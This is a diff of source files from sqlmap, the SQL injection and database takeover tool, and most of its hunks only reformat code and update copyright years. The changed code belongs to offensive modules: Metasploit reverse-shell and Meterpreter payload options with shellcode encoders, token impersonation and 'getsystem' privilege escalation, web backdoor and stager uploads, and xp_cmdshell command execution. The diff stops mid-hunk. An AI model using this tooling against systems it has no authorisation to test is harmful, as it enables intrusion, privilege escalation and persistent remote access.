@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
        retVal = kb.pageTemplates[(payload, place)]

    return retVal
-
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -172,9 +172,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
                inject.goStacked(expression)

        # TODO: add support for PostgreSQL
-        #elif Backend.isDbms(DBMS.PGSQL):
-        #    expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
-        #    inject.goStacked(expression)
+        # elif Backend.isDbms(DBMS.PGSQL):
+        #     expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
+        #     inject.goStacked(expression)

    def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
        self._initRunAs()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -81,6 +81,7 @@ class Metasploit:
                    _ = normalizePath(os.path.join(_, ".."))
                    if _ == old:
                        break
+
            self._msfCli = "%s & ruby %s" % (_, self._msfCli)
            self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
            self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
            self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)

        self._msfPayloadsList = {
-                                      "windows": {
-                                                   1: ("Meterpreter (default)", "windows/meterpreter"),
-                                                   2: ("Shell", "windows/shell"),
-                                                   3: ("VNC", "windows/vncinject"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Shell (default)", "linux/x86/shell"),
-                                                   2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Meterpreter (default)", "windows/meterpreter"),
+                2: ("Shell", "windows/shell"),
+                3: ("VNC", "windows/vncinject"),
+            },
+            "linux": {
+                1: ("Shell (default)", "linux/x86/shell"),
+                2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
+            }
+        }

        self._msfConnectionsList = {
-                                      "windows": {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
-                                                   3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
-                                                   4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
-                                                   5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
+                3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
+                4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
+                5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            },
+            "linux": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            }
+        }

        self._msfEncodersList = {
-                                      "windows": {
-                                                   1: ("No Encoder", "generic/none"),
-                                                   2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
-                                                   3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
-                                                   4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
-                                                   5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
-                                                   6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
-                                                   7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
-                                                   8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
-                                                   9: ("Non-Alpha Encoder", "x86/nonalpha"),
-                                                  10: ("Non-Upper Encoder", "x86/nonupper"),
-                                                  11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
-                                                  12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
-                                                  13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("No Encoder", "generic/none"),
+                2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
+                3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
+                4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
+                5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
+                6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
+                7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
+                8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
+                9: ("Non-Alpha Encoder", "x86/nonalpha"),
+                10: ("Non-Upper Encoder", "x86/nonupper"),
+                11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
+                12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
+                13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
+            }
+        }

        self._msfSMBPortsList = {
-                                      "windows": {
-                                                   1: ("139/TCP", "139"),
-                                                   2: ("445/TCP (default)", "445"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("139/TCP", "139"),
+                2: ("445/TCP (default)", "445"),
+            }
+        }

        self._portData = {
-                            "bind": "remote port number",
-                            "reverse": "local port number",
-                          }
+            "bind": "remote port number",
+            "reverse": "local port number",
+        }

    def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
        if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:

        send_all(proc, "use espia\n")
        send_all(proc, "use incognito\n")
-        # This extension is loaded by default since Metasploit > 3.7
-        #send_all(proc, "use priv\n")
-        # This extension freezes the connection on 64-bit systems
-        #send_all(proc, "use sniffer\n")
+
+        # This extension is loaded by default since Metasploit > 3.7:
+        # send_all(proc, "use priv\n")
+
+        # This extension freezes the connection on 64-bit systems:
+        # send_all(proc, "use sniffer\n")
+
        send_all(proc, "sysinfo\n")
        send_all(proc, "getuid\n")

@@ -501,7 +505,7 @@ class Metasploit:

            send_all(proc, "getsystem\n")

-            infoMsg = "displaying the list of Access Tokens availables. "
+            infoMsg = "displaying the list of available Access Tokens. "
            infoMsg += "Choose which user you want to impersonate by "
            infoMsg += "using incognito's command 'impersonate_token' if "
            infoMsg += "'getsystem' does not success to elevate privileges"
@@ -671,13 +675,10 @@ class Metasploit:
            written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)

        if written is not True:
-            errMsg = "there has been a problem uploading shellcodeexec, it "
+            errMsg = "there has been a problem uploading shellcodeexec. It "
            errMsg += "looks like the binary file has not been written "
            errMsg += "on the database underlying file system or an AV has "
-            errMsg += "flagged it as malicious and removed it. In such a case "
-            errMsg += "it is recommended to recompile shellcodeexec with "
-            errMsg += "slight modification to the source code or pack it "
-            errMsg += "with an obfuscator software"
+            errMsg += "flagged it as malicious and removed it"
            logger.error(errMsg)

            return False
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -33,19 +33,19 @@ class Registry:
            readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""

        self._batRead = (
-                           "@ECHO OFF\r\n",
-                           readParse,
-                        )
+            "@ECHO OFF\r\n",
+            readParse,
+        )

        self._batAdd = (
-                           "@ECHO OFF\r\n",
-                           "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
-                       )
+            "@ECHO OFF\r\n",
+            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
+        )

        self._batDel = (
-                           "@ECHO OFF\r\n",
-                           "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
-                       )
+            "@ECHO OFF\r\n",
+            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
+        )

    def _createLocalBatchFile(self):
        self._batPathFp = open(self._batPathLocal, "w")
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -47,6 +47,8 @@ from lib.core.enums import WEB_API
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
 from lib.core.settings import EVENTVALIDATION_REGEX
+from lib.core.settings import SHELL_RUNCMD_EXE_TAG
+from lib.core.settings import SHELL_WRITABLE_DIR_TAG
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.request.connect import Connect as Request
 from thirdparty.oset.pyoset import oset
@@ -110,10 +112,10 @@ class Web:

        if self.webApi in getPublicTypeMembers(WEB_API, True):
            multipartParams = {
-                                "upload":    "1",
-                                "file":      stream,
-                                "uploadDir": directory,
-                              }
+                "upload": "1",
+                "file": stream,
+                "uploadDir": directory,
+            }

            if self.webApi == WEB_API.ASPX:
                multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +136,7 @@ class Web:

    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
-        uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
+        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
@@ -257,6 +259,7 @@ class Web:
        directories = list(oset(directories))

        path = urlparse.urlparse(conf.url).path or '/'
+        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
        if path != '/':
            _ = []
            for directory in directories:
@@ -266,9 +269,9 @@ class Web:
            directories = _

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
-        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
+        backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))

-        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
+        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))

        for directory in directories:
            if not directory:
@@ -323,8 +326,8 @@ class Web:
                    os.close(handle)

                    with open(filename, "w+b") as f:
-                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
-                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
+                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
+                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +372,7 @@ class Web:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
-                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
+                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:

        return wasLastResponseDelayed()

+    @stackedmethod
    def _xpCmdshellTest(self):
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
@@ -214,7 +216,7 @@ class XP_cmdshell:
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                output = inject.getValue(query, resumeValue=False, blind=False, time=False)

-            if (output is None) or len(output)==0 or output[0] is None:
+            if (output is None) or len(output) == 0 or output[0] is None:
                output = []
                count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -110,7 +110,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

        if partialValue:
            firstChar = len(partialValue)
-        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
+        elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
@@ -121,7 +121,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
        else:
            firstChar = 0

-        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
+        if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
@@ -223,7 +223,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

-            if result and timeBasedCompare:
+            if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -343,7 +343,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                    if result:
                        minValue = posValue

-                        if type(charTbl) != xrange:
+                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
@@ -351,7 +351,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                    else:
                        maxValue = posValue

-                        if type(charTbl) != xrange:
+                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])
@@ -390,7 +390,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
-                                                warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
+                                                warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
@@ -461,18 +461,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
-                        kb.locks.index.acquire()
+                        with kb.locks.index:
+                            if threadData.shared.index[0] - firstChar >= length:
+                                return

-                        if threadData.shared.index[0] - firstChar >= length:
-                            kb.locks.index.release()
-                            return
-
-                        threadData.shared.index[0] += 1
-                        currentCharIndex = threadData.shared.index[0]
-                        kb.locks.index.release()
+                            threadData.shared.index[0] += 1
+                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
-                            charStart = time.time()
+                            start = time.time()
                            val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
@@ -485,7 +482,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

                        if kb.threadContinue:
                            if showEta:
-                                progress.progress(time.time() - charStart, threadData.shared.index[0])
+                                progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0
@@ -553,7 +550,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None

            while True:
                index += 1
-                charStart = time.time()
+                start = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
@@ -578,7 +575,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                        # Did we have luck?
                        if result:
                            if showEta:
-                                progress.progress(time.time() - charStart, len(commonValue))
+                                progress.progress(calculateDeltaSeconds(start), len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

@@ -614,7 +611,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
-                        val = getChar(index, otherCharset, otherCharset==asciiTbl)
+                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))

@@ -628,7 +625,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                threadData.shared.value = partialValue = partialValue + val

                if showEta:
-                    progress.progress(time.time() - charStart, index)
+                    progress.progress(calculateDeltaSeconds(start), index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -76,7 +76,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)
-            testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
+
+            testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
+            testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
+
            result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))

            if (result or "").startswith(testChar):
@@ -130,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):

                # Parse the returned page to get the exact error-based
                # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(check, page), \
-                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
-                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)), \
-                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
-                        None)
+                output = reduce(lambda x, y: x if x is not None else y, (
+                    extractRegexResult(check, page),
+                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
+                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
+                    None
+                )

                if output is not None:
                    output = getUnicode(output)
                else:
-                    trimmed = extractRegexResult(trimcheck, page) \
-                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
-                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] if headers else None)) \
-                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    trimmed = (
+                        extractRegexResult(trimcheck, page) or
+                        extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
+                        extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
+                        extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    )

                    if trimmed:
                        if not chunkTest:
@@ -305,12 +311,7 @@ def errorUse(expression, dump=False):
    # entry at a time
    # NOTE: we assume that only queries that get data from a table can
    # return multiple entries
-    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
-       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
-       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)

        if limitCond:
@@ -330,7 +331,7 @@ def errorUse(expression, dump=False):
                else:
                    stopLimit = int(count)

-                    infoMsg = "the SQL query used returns "
+                    infoMsg = "used SQL query returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -27,6 +27,7 @@ from lib.core.common import wasLastResponseDBMSError
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import PAYLOAD
 from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
@@ -48,15 +49,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
    """
    retVal = None

-    def _orderByTechnique():
+    @stackedmethod
+    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
-            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
+            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None

-        if _orderByTest(1) and not _orderByTest(randomInt()):
+        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
@@ -64,10 +66,10 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

-            lowCols, highCols = 1, ORDER_BY_STEP
+            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
-                if _orderByTest(highCols):
+                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
@@ -88,8 +90,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

-        if lowerCount == 1:
